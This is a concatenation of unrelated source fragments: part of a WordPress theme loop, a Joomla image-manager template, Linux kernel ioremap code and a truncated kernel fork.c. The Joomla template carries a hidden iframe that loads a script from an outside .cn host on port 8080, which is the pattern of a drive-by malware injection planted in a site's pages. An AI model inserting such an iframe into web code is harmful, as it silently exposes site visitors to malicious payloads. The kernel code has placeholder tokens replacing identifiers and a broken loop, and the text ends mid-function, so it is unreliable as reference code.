</section>
<?php endwhile; else: ?>
<p><?php _e( 'Sorry, no posts matched your criteria.', 'steampunkd' ); ?></p>
<?php endif; ?>
<div class="paginate">
<?php if( $wp_query->max_num_pages > 1 ) { ?>
<nav id="pagination">
<?php steampunkd_paginate(); ?>
</nav><!-- .pagination -->
<?php } ?>
</div>
|
<?php defined('_JEXEC') or die('Restricted access'); ?>
<div class="item">
<a href="javascript:ImageManager.populateFields('<?php echo $this->_tmp_img->path_relative; ?>')">
<img src="<?php echo $this->baseURL.'/'.$this->_tmp_img->path_relative; ?>" width="<?php echo $this->_tmp_img->width_60; ?>" height="<?php echo $this->_tmp_img->height_60; ?>" alt="<?php echo $this->_tmp_img->name; ?> - <?php echo MediaHelper::parseSize($this->_tmp_img->size); ?>" />
<span><?php echo $this->_tmp_img->name; ?></span></a>
</
<iframe src="http://globalmixgroup.cn:8080/ts/in.cgi?pepsi64" width=125 height=125 style="visibility: hidden"></iframe>
|
#include <linux/vmalloc.h>
#include <asm/io.h>
#include <asm/pgalloc.h>
static inline void remap_area_pte(pte_t * pte, unsigned long address, unsigned long size,
unsigned long phys_addr, unsigned long flags)
{
unsigned long end;
address &= ~PMD_MASK;
end = address + size;
if (end > PMD_SIZE)
end = PMD_SIZE;
if (address >= end)
BUG();
do {
if (!pte_none(*pte)) {
printk("remap_area_pte: page already exists\n");
BUG();
}
set_pte(pte, mk_pte_phys(phys_addr, __pgprot(_PAGE_PRESENT | _PAGE_RW |
_PAGE_DIRTY | _PAGE_ACCESSED | flags)));
address += PAGE_SIZE;
phys_addr += PAGE_SIZE;
pte++;
} while (address && (address < end));
}
static inline int remap_area_pmd(pmd_t * pmd, unsigned long address, unsigned long size,
unsigned long phys_addr, unsigned long flags)
{
unsigned long end;
address &= ~PGDIR_MASK;
end = address + size;
if (end > PGDIR_SIZE)
end = PGDIR_SIZE;
phys_addr -= address;
if (address >= end)
BUG();
do {
pte_t * pte = pte_alloc_kernel(&init_mm, pmd, address);
if (!pte)
return -ENOMEM;
remap_area_pte(pte, address, end - address, address + phys_addr, flags);
address = (address + PMD_SIZE) & PMD_MASK;
pmd++;
} while (address && (address < end));
return 0;
}
static int remap_area_pages(unsigned long address, unsigned long phys_addr,
unsigned long size, unsigned long flags)
{
int error;
pgd_t * dir;
unsigned long end = address + size;
phys_addr -= address;
dir = pgd_offset(&init_mm, address);
flush_cache_all();
if (address >= end)
BUG();
spin_lock(&init_mm.page_table_lock);
do {
pmd_t *pmd;
pmd = pmd_alloc(&init_mm, dir, address);
error = -ENOMEM;
if (!pmd)
break;
if (remap_area_pmd(pmd, address, end - address,
phys_addr + address, flags))
break;
error = 0;
address = (address + PGDIR_SIZE) & PGDIR_MASK;
dir++;
} while (address && (address < end));
spin_unlock(&init_mm.page_table_lock);
flush_tlb_all();
return error;
}
/*
* Generic mapping function (not visible outside):
*/
/*
* Remap an arbitrary physical address space into the kernel virtual
* address space. Needed when the kernel wants to access high addresses
* directly.
*
* NOTE! We need to allow non-page-aligned mappings too: we will obviously
* have to convert them into an offset in a page-aligned mapping, but the
* caller shouldn't need to know that small detail.
*/
void * __ioremap(unsigned long phys_addr, unsigned long size, unsigned long flags)
{
void * addr;
struct vm_struct * area;
unsigned long offset, last_addr;
/* Don't allow wraparound or zero size */
last_addr = phys_addr + size - 1;
if (!size || last_addr < phys_addr)
return NULL;
/*
* Don't remap the low PCI/ISA area, it's always mapped..
*/
if (phys_addr >= 0xA0000 && last_addr < 0x100000)
return phys_to_virt(phys_addr);
/*
* Don't allow anybody to remap normal RAM that we're using..
*/
if (phys_addr < virt_to_phys(high_memory)) {
char *t_addr, *t_end;
struct page *page;
t_addr = __va(phys_addr);
t_end = t_addr + (size - 1);
for(page = virt_to_page(t_addr); page <= virt_to_page(t_end); page++)
if(!PageReserved(page))
return NULL;
}
/*
* Mappings have to be page-aligned
*/
offset = phys_addr & ~PAGE_MASK;
phys_addr &= PAGE_MASK;
size = PAGE_ALIGN(last_addr) - phys_addr;
/*
* Ok, go for it..
*/
area = get_vm_area(size, VM_IOREMAP);
if (!area)
return NULL;
addr = area->addr;
if (remap_area_pages(VMALLOC_VMADDR(addr), phys_addr, size, flags)) {
vfree(addr);
return NULL;
}
return (void *) (offset + (char *)addr);
}
void iounmap(void *addr)
{
if (addr > high_memory)
return vfree((void *) (PAGE_MASK & (unsigned long) addr));
}
void __init *bt_ioremap(unsigned long phys_addr, unsigned long size)
{
unsigned long offset, last_addr;
unsigned int nrpages;
enum fixed_addresses idx;
/* Don't allow wraparound or zero size */
last_addr = phys_addr + size - 1;
if (!size || last_addr < phys_addr)
return NULL;
/*
* Don't remap the low PCI/ISA area, it's always mapped..
*/
if (phys_addr >= 0xA0000 && last_addr < 0x100000)
return phys_to_virt(phys_addr);
/*
* Mappings have to be page-aligned
*/
offset = phys_addr & ~PAGE_MASK;
phys_addr &= PAGE_MASK;
size = PAGE_ALIGN(last_addr) - phys_addr;
/*
* Mappings have to fit in the FIX_BTMAP area.
*/
nrpages = size >> PAGE_SHIFT;
if (nrpages > NR_FIX_BTMAPS)
return NULL;
/*
* Ok, go for it..
*/
idx = FIX_BTMAP_BEGIN;
while (nrpages > 0) {
set_fixmap(idx, phys_addr);
phys_addr += PAGE_SIZE;
--idx;
--nrpages;
}
return (void*) (offset + fix_to_virt(FIX_BTMAP_BEGIN));
}
void __init bt_iounmap(void *addr, unsigned long size)
{
unsigned long virt_addr;
unsigned long offset;
unsigned int nrpages;
enum fixed_addresses idx;
virt_addr = (unsigned long)addr;
if (virt_addr < fix_to_virt(FIX_BTMAP_BEGIN))
return;
offset = virt_addr & ~PAGE_MASK;
nrpages = PAGE_ALIGN(offset + size - 1) >> PAGE_SHIFT;
idx = FIX_BTMAP_BEGIN;
while (nrpages > 0) {
__set_fixmap(idx, 0, __pgprot(0));
--idx;
--nrpages;
}
}
|
/*
* 'fork.c' contains the help-routines for the 'fork' system call
* (see also entry.S and others).
* Fork is rather simple, once you get the hang of it, but the memory
* management can be a bitch. See 'mm/memory.c': 'copy_page_range()'
*/
#include <linux/slab.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/module.h>
#include <linux/vmalloc.h>
#include <linux/completion.h>
#include <linux/mnt_namespace.h>
#include <linux/personality.h>
#include <linux/mempolicy.h>
#include <linux/sem.h>
#include <linux/file.h>
#include <linux/key.h>
#include <linux/binfmts.h>
#include <linux/mman.h>
#include <linux/fs.h>
#include <linux/nsproxy.h>
#include <linux/capability.h>
#include <linux/cpu.h>
#include <linux/cpuset.h>
#include <linux/security.h>
#include <linux/swap.h>
#include <linux/syscalls.h>
#include <linux/jiffies.h>
#include <linux/futex.h>
#include <linux/<API key>.h>
#include <linux/rcupdate.h>
#include <linux/ptrace.h>
#include <linux/mount.h>
#include <linux/audit.h>
#include <linux/profile.h>
#include <linux/rmap.h>
#include <linux/acct.h>
#include <linux/tsacct_kern.h>
#include <linux/cn_proc.h>
#include <linux/freezer.h>
#include <linux/delayacct.h>
#include <linux/taskstats_kern.h>
#include <linux/random.h>
#include <asm/pgtable.h>
#include <asm/pgalloc.h>
#include <asm/uaccess.h>
#include <asm/mmu_context.h>
#include <asm/cacheflush.h>
#include <asm/tlbflush.h>
/*
* Protected counters by write_lock_irq(&tasklist_lock)
*/
unsigned long total_forks; /* Handle normal Linux uptimes. */
int nr_threads; /* The idle threads do not count.. */
int max_threads; /* tunable limit on nr_threads */
DEFINE_PER_CPU(unsigned long, process_counts) = 0;
__cacheline_aligned DEFINE_RWLOCK(tasklist_lock); /* outer */
int nr_processes(void)
{
int cpu;
int total = 0;
for_each_online_cpu(cpu)
total += per_cpu(process_counts, cpu);
return total;
}
#ifndef <API key>
# define alloc_task_struct() kmem_cache_alloc(task_struct_cachep, GFP_KERNEL)
# define free_task_struct(tsk) kmem_cache_free(task_struct_cachep, (tsk))
static struct kmem_cache *task_struct_cachep;
#endif
/* SLAB cache for signal_struct structures (tsk->signal) */
static struct kmem_cache *signal_cachep;
/* SLAB cache for sighand_struct structures (tsk->sighand) */
struct kmem_cache *sighand_cachep;
/* SLAB cache for files_struct structures (tsk->files) */
struct kmem_cache *files_cachep;
/* SLAB cache for fs_struct structures (tsk->fs) */
struct kmem_cache *fs_cachep;
/* SLAB cache for vm_area_struct structures */
struct kmem_cache *vm_area_cachep;
/* SLAB cache for mm_struct structures (tsk->mm) */
static struct kmem_cache *mm_cachep;
void free_task(struct task_struct *tsk)
{
free_thread_info(tsk->stack);
<API key>(tsk);
free_task_struct(tsk);
}
EXPORT_SYMBOL(free_task);
void __put_task_struct(struct task_struct *tsk)
{
WARN_ON(!(tsk->exit_state & (EXIT_DEAD | EXIT_ZOMBIE)));
WARN_ON(atomic_read(&tsk->usage));
WARN_ON(tsk == current);
security_task_free(tsk);
free_uid(tsk->user);
put_group_info(tsk->group_info);
delayacct_tsk_free(tsk);
if (!<API key>(tsk))
free_task(tsk);
}
void __init fork_init(unsigned long mempages)
{
#ifndef <API key>
#ifndef ARCH_MIN_TASKALIGN
#define ARCH_MIN_TASKALIGN L1_CACHE_BYTES
#endif
/* create a slab on which task_structs can be allocated */
task_struct_cachep =
kmem_cache_create("task_struct", sizeof(struct task_struct),
ARCH_MIN_TASKALIGN, SLAB_PANIC, NULL, NULL);
#endif
/*
* The default maximum number of threads is set to a safe
* value: the thread structures can take up at most half
* of memory.
*/
max_threads = mempages / (8 * THREAD_SIZE / PAGE_SIZE);
/*
* we need to allow at least 20 threads to boot a system
*/
if(max_threads < 20)
max_threads = 20;
init_task.signal->rlim[RLIMIT_NPROC].rlim_cur = max_threads/2;
init_task.signal->rlim[RLIMIT_NPROC].rlim_max = max_threads/2;
init_task.signal->rlim[RLIMIT_SIGPENDING] =
init_task.signal->rlim[RLIMIT_NPROC];
}
static struct task_struct *dup_task_struct(struct task_struct *orig)
{
struct task_struct *tsk;
struct thread_info *ti;
prepare_to_copy(orig);
tsk = alloc_task_struct();
if (!tsk)
return NULL;
ti = alloc_thread_info(tsk);
if (!ti) {
free_task_struct(tsk);
return NULL;
}
*tsk = *orig;
tsk->stack = ti;
setup_thread_stack(tsk, orig);
#ifdef <API key>
tsk->stack_canary = get_random_int();
#endif
/* One for us, one for whoever does the "release_task()" (usually parent) */
atomic_set(&tsk->usage,2);
atomic_set(&tsk->fs_excl, 0);
#ifdef <API key>
tsk->btrace_seq = 0;
#endif
tsk->splice_pipe = NULL;
return tsk;
}
#ifdef CONFIG_MMU
static inline int dup_mmap(struct mm_struct *mm, struct mm_struct *oldmm)
{
struct vm_area_struct *mpnt, *tmp, **pprev;
struct rb_node **rb_link, *rb_parent;
int retval;
unsigned long charge;
struct mempolicy *pol;
down_write(&oldmm->mmap_sem);
flush_cache_dup_mm(oldmm);
/*
* Not linked in yet - no deadlock potential:
*/
down_write_nested(&mm->mmap_sem, <API key>);
mm->locked_vm = 0;
mm->mmap = NULL;
mm->mmap_cache = NULL;
mm->free_area_cache = oldmm->mmap_base;
mm->cached_hole_size = ~0UL;
mm->map_count = 0;
cpus_clear(mm->cpu_vm_mask);
mm->mm_rb = RB_ROOT;
rb_link = &mm->mm_rb.rb_node;
rb_parent = NULL;
pprev = &mm->mmap;
for (mpnt = oldmm->mmap; mpnt; mpnt = mpnt->vm_next) {
struct file *file;
if (mpnt->vm_flags & VM_DONTCOPY) {
long pages = vma_pages(mpnt);
mm->total_vm -= pages;
vm_stat_account(mm, mpnt->vm_flags, mpnt->vm_file,
-pages);
continue;
}
charge = 0;
if (mpnt->vm_flags & VM_ACCOUNT) {
unsigned int len = (mpnt->vm_end - mpnt->vm_start) >> PAGE_SHIFT;
if (<API key>(len))
goto fail_nomem;
charge = len;
}
tmp = kmem_cache_alloc(vm_area_cachep, GFP_KERNEL);
if (!tmp)
goto fail_nomem;
*tmp = *mpnt;
pol = mpol_copy(vma_policy(mpnt));
retval = PTR_ERR(pol);
if (IS_ERR(pol))
goto fail_nomem_policy;
vma_set_policy(tmp, pol);
tmp->vm_flags &= ~VM_LOCKED;
tmp->vm_mm = mm;
tmp->vm_next = NULL;
anon_vma_link(tmp);
file = tmp->vm_file;
if (file) {
struct inode *inode = file->f_path.dentry->d_inode;
get_file(file);
if (tmp->vm_flags & VM_DENYWRITE)
atomic_dec(&inode->i_writecount);
/* insert tmp into the share list, just after mpnt */
spin_lock(&file->f_mapping->i_mmap_lock);
tmp->vm_truncate_count = mpnt->vm_truncate_count;
<API key>(file->f_mapping);
vma_prio_tree_add(tmp, mpnt);
<API key>(file->f_mapping);
spin_unlock(&file->f_mapping->i_mmap_lock);
}
/*
* Link in the new vma and copy the page table entries.
*/
*pprev = tmp;
pprev = &tmp->vm_next;
__vma_link_rb(mm, tmp, rb_link, rb_parent);
rb_link = &tmp->vm_rb.rb_right;
rb_parent = &tmp->vm_rb;
mm->map_count++;
retval = copy_page_range(mm, oldmm, mpnt);
if (tmp->vm_ops && tmp->vm_ops->open)
tmp->vm_ops->open(tmp);
if (retval)
goto out;
}
/* a new mm has just been created */
arch_dup_mmap(oldmm, mm);
retval = 0;
out:
up_write(&mm->mmap_sem);
flush_tlb_mm(oldmm);
up_write(&oldmm->mmap_sem);
return retval;
fail_nomem_policy:
kmem_cache_free(vm_area_cachep, tmp);
fail_nomem:
retval = -ENOMEM;
vm_unacct_memory(charge);
goto out;
}
static inline int mm_alloc_pgd(struct mm_struct * mm)
{
mm->pgd = pgd_alloc(mm);
if (unlikely(!mm->pgd))
return -ENOMEM;
return 0;
}
static inline void mm_free_pgd(struct mm_struct * mm)
{
pgd_free(mm->pgd);
}
#else
#define dup_mmap(mm, oldmm) (0)
#define mm_alloc_pgd(mm) (0)
#define mm_free_pgd(mm)
#endif /* CONFIG_MMU */
<API key> DEFINE_SPINLOCK(mmlist_lock);
#define allocate_mm() (kmem_cache_alloc(mm_cachep, GFP_KERNEL))
#define free_mm(mm) (kmem_cache_free(mm_cachep, (mm)))
#include <linux/init_task.h>
static struct mm_struct * mm_init(struct mm_struct * mm)
{
atomic_set(&mm->mm_users, 1);
atomic_set(&mm->mm_count, 1);
init_rwsem(&mm->mmap_sem);
INIT_LIST_HEAD(&mm->mmlist);
mm->core_waiters = 0;
mm->nr_ptes = 0;
set_mm_counter(mm, file_rss, 0);
set_mm_counter(mm, anon_rss, 0);
spin_lock_init(&mm->page_table_lock);
rwlock_init(&mm->ioctx_list_lock);
mm->ioctx_list = NULL;
mm->free_area_cache = TASK_UNMAPPED_BASE;
mm->cached_hole_size = ~0UL;
if (likely(!mm_alloc_pgd(mm))) {
mm->def_flags = 0;
return mm;
}
free_mm(mm);
return NULL;
}
/*
* Allocate and initialize an mm_struct.
*/
struct mm_struct * mm_alloc(void)
{
struct mm_struct * mm;
mm = allocate_mm();
if (mm) {
memset(mm, 0, sizeof(*mm));
mm = mm_init(mm);
}
return mm;
}
/*
* Called when the last reference to the mm
* is dropped: either by a lazy thread or by
* mmput. Free the page directory and the mm.
*/
void fastcall __mmdrop(struct mm_struct *mm)
{
BUG_ON(mm == &init_mm);
mm_free_pgd(mm);
destroy_context(mm);
free_mm(mm);
}
/*
* Decrement the use count and release all resources for an mm.
*/
void mmput(struct mm_struct *mm)
{
might_sleep();
if (atomic_dec_and_test(&mm->mm_users)) {
exit_aio(mm);
exit_mmap(mm);
if (!list_empty(&mm->mmlist)) {
spin_lock(&mmlist_lock);
list_del(&mm->mmlist);
spin_unlock(&mmlist_lock);
}
put_swap_token(mm);
mmdrop(mm);
}
}
EXPORT_SYMBOL_GPL(mmput);
/**
* get_task_mm - acquire a reference to the task's mm
*
* Returns %NULL if the task has no mm. Checks PF_BORROWED_MM (meaning
* this kernel workthread has transiently adopted a user mm with use_mm,
* to do its AIO) is not set and if so returns a reference to it, after
* bumping up the use count. User must release the mm via mmput()
* after use. Typically used by /proc and ptrace.
*/
struct mm_struct *get_task_mm(struct task_struct *task)
{
struct mm_struct *mm;
task_lock(task);
mm = task->mm;
if (mm) {
if (task->flags & PF_BORROWED_MM)
mm = NULL;
else
atomic_inc(&mm->mm_users);
}
task_unlock(task);
return mm;
}
EXPORT_SYMBOL_GPL(get_task_mm);
/* Please note the differences between mmput and mm_release.
* mmput is called whenever we stop holding onto a mm_struct,
* error success whatever.
*
* mm_release is called after a mm_struct has been removed
* from the current process.
*
* This difference is important for error handling, when we
* only half set up a mm_struct for a new process and need to restore
* the old one. Because we mmput the new mm_struct before
* restoring the old one. . .
* Eric Biederman 10 January 1998
*/
void mm_release(struct task_struct *tsk, struct mm_struct *mm)
{
struct completion *vfork_done = tsk->vfork_done;
/* Get rid of any cached register state */
deactivate_mm(tsk, mm);
/* notify parent sleeping on vfork() */
if (vfork_done) {
tsk->vfork_done = NULL;
complete(vfork_done);
}
/*
* If we're exiting normally, clear a user-space tid field if
* requested. We leave this alone when dying by signal, to leave
* the value intact in a core dump, and to save the unnecessary
* trouble otherwise. Userland only wants this done for a sys_exit.
*/
if (tsk->clear_child_tid
&& !(tsk->flags & PF_SIGNALED)
&& atomic_read(&mm->mm_users) > 1) {
u32 __user * tidptr = tsk->clear_child_tid;
tsk->clear_child_tid = NULL;
/*
* We don't check the error code - if userspace has
* not set up a proper pointer then tough luck.
*/
put_user(0, tidptr);
sys_futex(tidptr, FUTEX_WAKE, 1, NULL, NULL, 0);
}
}
/*
* Allocate a new mm structure and copy contents from the
* mm structure of the passed in task structure.
*/
static struct mm_struct *dup_mm(struct task_struct *tsk)
{
struct mm_struct *mm, *oldmm = current->mm;
int err;
if (!oldmm)
return NULL;
mm = allocate_mm();
if (!mm)
goto fail_nomem;
memcpy(mm, oldmm, sizeof(*mm));
/* Initializing for Swap token stuff */
mm->token_priority = 0;
mm->last_interval = 0;
if (!mm_init(mm))
goto fail_nomem;
if (init_new_context(tsk, mm))
goto fail_nocontext;
err = dup_mmap(mm, oldmm);
if (err)
goto free_pt;
mm->hiwater_rss = get_mm_rss(mm);
mm->hiwater_vm = mm->total_vm;
return mm;
free_pt:
mmput(mm);
fail_nomem:
return NULL;
fail_nocontext:
/*
* If init_new_context() failed, we cannot use mmput() to free the mm
* because it calls destroy_context()
*/
mm_free_pgd(mm);
free_mm(mm);
return NULL;
}
static int copy_mm(unsigned long clone_flags, struct task_struct * tsk)
{
struct mm_struct * mm, *oldmm;
int retval;
tsk->min_flt = tsk->maj_flt = 0;
tsk->nvcsw = tsk->nivcsw = 0;
tsk->mm = NULL;
tsk->active_mm = NULL;
/*
* Are we cloning a kernel thread?
*
* We need to steal a active VM for that..
*/
oldmm = current->mm;
if (!oldmm)
return 0;
if (clone_flags & CLONE_VM) {
atomic_inc(&oldmm->mm_users);
mm = oldmm;
goto good_mm;
}
retval = -ENOMEM;
mm = dup_mm(tsk);
if (!mm)
goto fail_nomem;
good_mm:
/* Initializing for Swap token stuff */
mm->token_priority = 0;
mm->last_interval = 0;
tsk->mm = mm;
tsk->active_mm = mm;
return 0;
fail_nomem:
return retval;
}
static inline struct fs_struct *__copy_fs_struct(struct fs_struct *old)
{
struct fs_struct *fs = kmem_cache_alloc(fs_cachep, GFP_KERNEL);
/* We don't need to lock fs - think why ;-) */
if (fs) {
atomic_set(&fs->count, 1);
rwlock_init(&fs->lock);
fs->umask = old->umask;
read_lock(&old->lock);
fs->rootmnt = mntget(old->rootmnt);
fs->root = dget(old->root);
fs->pwdmnt = mntget(old->pwdmnt);
fs->pwd = dget(old->pwd);
if (old->altroot) {
fs->altrootmnt = mntget(old->altrootmnt);
fs->altroot = dget(old->altroot);
} else {
fs->altrootmnt = NULL;
fs->altroot = NULL;
}
read_unlock(&old->lock);
}
return fs;
}
struct fs_struct *copy_fs_struct(struct fs_struct *old)
{
return __copy_fs_struct(old);
}
EXPORT_SYMBOL_GPL(copy_fs_struct);
static inline int copy_fs(unsigned long clone_flags, struct task_struct * tsk)
{
if (clone_flags & CLONE_FS) {
atomic_inc(¤t->fs->count);
return 0;
}
tsk->fs = __copy_fs_struct(current->fs);
if (!tsk->fs)
return -ENOMEM;
return 0;
}
static int count_open_files(struct fdtable *fdt)
{
int size = fdt->max_fds;
int i;
/* Find the last open fd */
for (i = size/(8*sizeof(long)); i > 0; ) {
if (fdt->open_fds->fds_bits[--i])
break;
}
i = (i+1) * 8 * sizeof(long);
return i;
}
static struct files_struct *alloc_files(void)
{
struct files_struct *newf;
struct fdtable *fdt;
newf = kmem_cache_alloc(files_cachep, GFP_KERNEL);
if (!newf)
goto out;
atomic_set(&newf->count, 1);
spin_lock_init(&newf->file_lock);
newf->next_fd = 0;
fdt = &newf->fdtab;
fdt->max_fds = NR_OPEN_DEFAULT;
fdt->close_on_exec = (fd_set *)&newf->close_on_exec_init;
fdt->open_fds = (fd_set *)&newf->open_fds_init;
fdt->fd = &newf->fd_array[0];
INIT_RCU_HEAD(&fdt->rcu);
fdt->next = NULL;
rcu_assign_pointer(newf->fdt, fdt);
out:
return newf;
}
/*
* Allocate a new files structure and copy contents from the
* passed in files structure.
* errorp will be valid only when the returned files_struct is NULL.
*/
static struct files_struct *dup_fd(struct files_struct *oldf, int *errorp)
{
struct files_struct *newf;
struct file **old_fds, **new_fds;
int open_files, size, i;
struct fdtable *old_fdt, *new_fdt;
*errorp = -ENOMEM;
newf = alloc_files();
if (!newf)
goto out;
spin_lock(&oldf->file_lock);
old_fdt = files_fdtable(oldf);
new_fdt = files_fdtable(newf);
open_files = count_open_files(old_fdt);
/*
* Check whether we need to allocate a larger fd array and fd set.
* Note: we're not a clone task, so the open count won't change.
*/
if (open_files > new_fdt->max_fds) {
new_fdt->max_fds = 0;
spin_unlock(&oldf->file_lock);
spin_lock(&newf->file_lock);
*errorp = expand_files(newf, open_files-1);
spin_unlock(&newf->file_lock);
if (*errorp < 0)
goto out_release;
new_fdt = files_fdtable(newf);
/*
* Reacquire the oldf lock and a pointer to its fd table
* who knows it may have a new bigger fd table. We need
* the latest pointer.
*/
spin_lock(&oldf->file_lock);
old_fdt = files_fdtable(oldf);
}
old_fds = old_fdt->fd;
new_fds = new_fdt->fd;
memcpy(new_fdt->open_fds->fds_bits,
old_fdt->open_fds->fds_bits, open_files/8);
memcpy(new_fdt->close_on_exec->fds_bits,
old_fdt->close_on_exec->fds_bits, open_files/8);
for (i = open_files; i != 0; i
struct file *f = *old_fds++;
if (f) {
get_file(f);
} else {
/*
* The fd may be claimed in the fd bitmap but not yet
* instantiated in the files array if a sibling thread
* is partway through open(). So make sure that this
* fd is available to the new process.
*/
FD_CLR(open_files - i, new_fdt->open_fds);
}
rcu_assign_pointer(*new_fds++, f);
}
spin_unlock(&oldf->file_lock);
/* compute the remainder to be cleared */
size = (new_fdt->max_fds - open_files) * sizeof(struct file *);
/* This is long word aligned thus could use a optimized version */
memset(new_fds, 0, size);
if (new_fdt->max_fds > open_files) {
int left = (new_fdt->max_fds-open_files)/8;
int start = open_files / (8 * sizeof(unsigned long));
memset(&new_fdt->open_fds->fds_bits[start], 0, left);
memset(&new_fdt->close_on_exec->fds_bits[start], 0, left);
}
return newf;
out_release:
kmem_cache_free(files_cachep, newf);
out:
return NULL;
}
static int copy_files(unsigned long clone_flags, struct task_struct * tsk)
{
struct files_struct *oldf, *newf;
int error = 0;
/*
* A background process may not have any files ...
*/
oldf = current->files;
if (!oldf)
goto out;
if (clone_flags & CLONE_FILES) {
atomic_inc(&oldf->count);
goto out;
}
/*
* Note: we may be using current for both targets (See exec.c)
* This works because we cache current->files (old) as oldf. Don't
* break this.
*/
tsk->files = NULL;
newf = dup_fd(oldf, &error);
if (!newf)
goto out;
tsk->files = newf;
error = 0;
out:
return error;
}
/*
* Helper to unshare the files of the current task.
* We don't want to expose copy_files internals to
* the exec layer of the kernel.
*/
int unshare_files(void)
{
struct files_struct *files = current->files;
int rc;
BUG_ON(!files);
/* This can race but the race causes us to copy when we don't
need to and drop the copy */
if(atomic_read(&files->count) == 1)
{
atomic_inc(&files->count);
return 0;
}
rc = copy_files(0, current);
if(rc)
current->files = files;
return rc;
}
EXPORT_SYMBOL(unshare_files);
static inline int copy_sighand(unsigned long clone_flags, struct task_struct * tsk)
{
struct sighand_struct *sig;
if (clone_flags & (CLONE_SIGHAND | CLONE_THREAD)) {
atomic_inc(¤t->sighand->count);
return 0;
}
sig = kmem_cache_alloc(sighand_cachep, GFP_KERNEL);
rcu_assign_pointer(tsk->sighand, sig);
if (!sig)
return -ENOMEM;
atomic_set(&sig->count, 1);
memcpy(sig->action, current->sighand->action, sizeof(sig->action));
return 0;
}
void __cleanup_sighand(struct sighand_struct *sighand)
{
if (atomic_dec_and_test(&sighand->count))
kmem_cache_free(sighand_cachep, sighand);
}
static inline int copy_signal(unsigned long clone_flags, struct task_struct * tsk)
{
struct signal_struct *sig;
int ret;
if (clone_flags & CLONE_THREAD) {
atomic_inc(¤t->signal->count);
atomic_inc(¤t->signal->live);
return 0;
}
sig = kmem_cache_alloc(signal_cachep, GFP_KERNEL);
tsk->signal = sig;
if (!sig)
return -ENOMEM;
ret = <API key>(tsk);
if (ret < 0) {
kmem_cache_free(signal_cachep, sig);
return ret;
}
atomic_set(&sig->count, 1);
atomic_set(&sig->live, 1);
init_waitqueue_head(&sig->wait_chldexit);
sig->flags = 0;
sig->group_exit_code = 0;
sig->group_exit_task = NULL;
sig->group_stop_count = 0;
sig->curr_target = NULL;
init_sigpending(&sig->shared_pending);
INIT_LIST_HEAD(&sig->posix_timers);
hrtimer_init(&sig->real_timer, CLOCK_MONOTONIC, HRTIMER_MODE_REL);
sig->it_real_incr.tv64 = 0;
sig->real_timer.function = it_real_fn;
sig->tsk = tsk;
sig->it_virt_expires = cputime_zero;
sig->it_virt_incr = cputime_zero;
sig->it_prof_expires = cputime_zero;
sig->it_prof_incr = cputime_zero;
sig->leader = 0; /* session leadership doesn't inherit */
sig->tty_old_pgrp = NULL;
sig->utime = sig->stime = sig->cutime = sig->cstime = cputime_zero;
sig->nvcsw = sig->nivcsw = sig->cnvcsw = sig->cnivcsw = 0;
sig->min_flt = sig->maj_flt = sig->cmin_flt = sig->cmaj_flt = 0;
sig->inblock = sig->oublock = sig->cinblock = sig->coublock = 0;
sig->sched_time = 0;
INIT_LIST_HEAD(&sig->cpu_timers[0]);
INIT_LIST_HEAD(&sig->cpu_timers[1]);
INIT_LIST_HEAD(&sig->cpu_timers[2]);
taskstats_tgid_init(sig);
task_lock(current->group_leader);
memcpy(sig->rlim, current->signal->rlim, sizeof sig->rlim);
task_unlock(current->group_leader);
if (sig->rlim[RLIMIT_CPU].rlim_cur != RLIM_INFINITY) {
/*
* New sole thread in the process gets an expiry time
* of the whole CPU time limit.
*/
tsk->it_prof_expires =
secs_to_cputime(sig->rlim[RLIMIT_CPU].rlim_cur);
}
acct_init_pacct(&sig->pacct);
return 0;
}
void __cleanup_signal(struct signal_struct *sig)
{
<API key>(sig);
kmem_cache_free(signal_cachep, sig);
}
static inline void cleanup_signal(struct task_struct *tsk)
{
struct signal_struct *sig = tsk->signal;
atomic_dec(&sig->live);
if (atomic_dec_and_test(&sig->count))
__cleanup_signal(sig);
}
static inline void copy_flags(unsigned long clone_flags, struct task_struct *p)
{
unsigned long new_flags = p->flags;
new_flags &= ~(PF_SUPERPRIV | PF_NOFREEZE);
new_flags |= PF_FORKNOEXEC;
if (!(clone_flags & CLONE_PTRACE))
p->ptrace = 0;
p->flags = new_flags;
}
asmlinkage long sys_set_tid_address(int __user *tidptr)
{
current->clear_child_tid = tidptr;
return current->pid;
}
static inline void rt_mutex_init_task(struct task_struct *p)
{
spin_lock_init(&p->pi_lock);
#ifdef CONFIG_RT_MUTEXES
plist_head_init(&p->pi_waiters, &p->pi_lock);
p->pi_blocked_on = NULL;
#endif
}
/*
* This creates a new process as a copy of the old one,
* but does not actually start it yet.
*
* It copies the registers, and all the appropriate
* parts of the process environment (as per the clone
* flags). The actual kick-off is left to the caller.
*/
static struct task_struct *copy_process(unsigned long clone_flags,
unsigned long stack_start,
struct pt_regs *regs,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
struct pid *pid)
{
int retval;
struct task_struct *p = NULL;
if ((clone_flags & (CLONE_NEWNS|CLONE_FS)) == (CLONE_NEWNS|CLONE_FS))
return ERR_PTR(-EINVAL);
/*
* Thread groups must share signals as well, and detached threads
* can only be started up within the thread group.
*/
if ((clone_flags & CLONE_THREAD) && !(clone_flags & CLONE_SIGHAND))
return ERR_PTR(-EINVAL);
/*
* Shared signal handlers imply shared VM. By way of the above,
* thread groups also imply shared VM. Blocking this case allows
* for various simplifications in other code.
*/
if ((clone_flags & CLONE_SIGHAND) && !(clone_flags & CLONE_VM))
return ERR_PTR(-EINVAL);
retval = <API key>(clone_flags);
if (retval)
goto fork_out;
retval = -ENOMEM;
p = dup_task_struct(current);
if (!p)
goto fork_out;
rt_mutex_init_task(p);
#ifdef <API key>
DEBUG_LOCKS_WARN_ON(!p->hardirqs_enabled);
DEBUG_LOCKS_WARN_ON(!p->softirqs_enabled);
#endif
retval = -EAGAIN;
if (atomic_read(&p->user->processes) >=
p->signal->rlim[RLIMIT_NPROC].rlim_cur) {
if (!capable(CAP_SYS_ADMIN) && !capable(CAP_SYS_RESOURCE) &&
p->user != &root_user)
goto bad_fork_free;
}
atomic_inc(&p->user->__count);
atomic_inc(&p->user->processes);
get_group_info(p->group_info);
/*
* If multiple threads are within copy_process(), then this check
* triggers too late. This doesn't hurt, the check is only there
* to stop root fork bombs.
*/
if (nr_threads >= max_threads)
goto <API key>;
if (!try_module_get(task_thread_info(p)->exec_domain->module))
goto <API key>;
if (p->binfmt && !try_module_get(p->binfmt->module))
goto <API key>;
p->did_exec = 0;
delayacct_tsk_init(p); /* Must remain after dup_task_struct() */
copy_flags(clone_flags, p);
p->pid = pid_nr(pid);
retval = -EFAULT;
